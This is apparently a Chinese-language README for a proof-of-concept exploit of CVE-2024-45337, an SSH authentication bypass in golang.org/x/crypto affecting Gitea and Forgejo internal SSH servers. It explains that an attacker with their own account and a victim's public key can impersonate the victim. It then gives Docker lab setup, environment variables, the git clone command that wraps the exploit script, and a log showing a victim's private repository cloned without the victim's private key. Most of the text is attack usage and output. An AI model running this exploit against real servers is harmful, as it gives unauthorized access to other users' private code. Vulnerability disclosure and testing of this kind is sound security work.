本仓库包含针对 CVE-2024-45337 的概念验证漏洞利用代码。当与使用 golang.org/x/crypto <= v0.30.0 实现、并在 ServerConfig.PublicKeyCallback 回调中以不安全方式缓存权限的 SSH 服务器交互时,可以使用它来包装 ssh。
Gitea <= 1.22.4 以及 Forgejo <= 7.0.11、9.0.2 在使用内部 SSH 服务器托管时存在此漏洞。只要你知道目标用户与账户关联的任意一个公钥,就可以冒充任何用户。你自身需要拥有一个用于 SSH 认证的账户。
docker compose -f docker-compose.forgejo.yml up -d
victim 用户
important_repo 的私有仓库,并生成一个带有 README 的初始提交,这样你就有内容可以克隆attacker 用户
GIT_ATTACK_PRIVKEY 设置为有效账户私钥的路径GIT_ATTACK_PUBKEY 设置为其他目标账户已知公钥的路径。我们不知道该账户的私钥。GIT_SSH 设置为漏洞利用脚本的路径,以告知 git 使用该脚本而不是原生的 ssh 命令GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
在克隆期间使用 .ssh/config 指定密钥
Host sshvictim
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_victim
IdentitiesOnly yes
Host sshattacker
Hostname localhost
Port 222
User git
IdentityFile /path/to/id_ed25519_attacker
IdentitiesOnly yes
针对按上述方式搭建的本地 Forgejo 7.0.11 容器运行。
$ ssh-keygen -t ed25519 -f id_ed25519_victim
$ ssh-keygen -t ed25519 -f id_ed25519_attacker
$ git clone sshattacker:victim/important_repo.git
Cloning into 'important_repo'...
Forgejo: User: 2:attacker with Key: 2:attacker is not authorized to read victim/important_repo.
fatal: Could not read from remote repository.
Please make sure you have the correct access rights
and the repository exists.
$ git clone sshvictim:victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.
# 出于演示目的删除受害者的私钥
$ rm -rf important_repo id_ed25519_victim
$ GIT_ATTACK_PRIVKEY=./id_ed25519_attacker GIT_ATTACK_PUBKEY=./id_ed25519_victim.pub GIT_SSH_VARIANT=ssh GIT_SSH=./ssh_cve-2024-45337.py git clone ssh://git@localhost:222/victim/important_repo.git
Cloning into 'important_repo'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (3/3), done.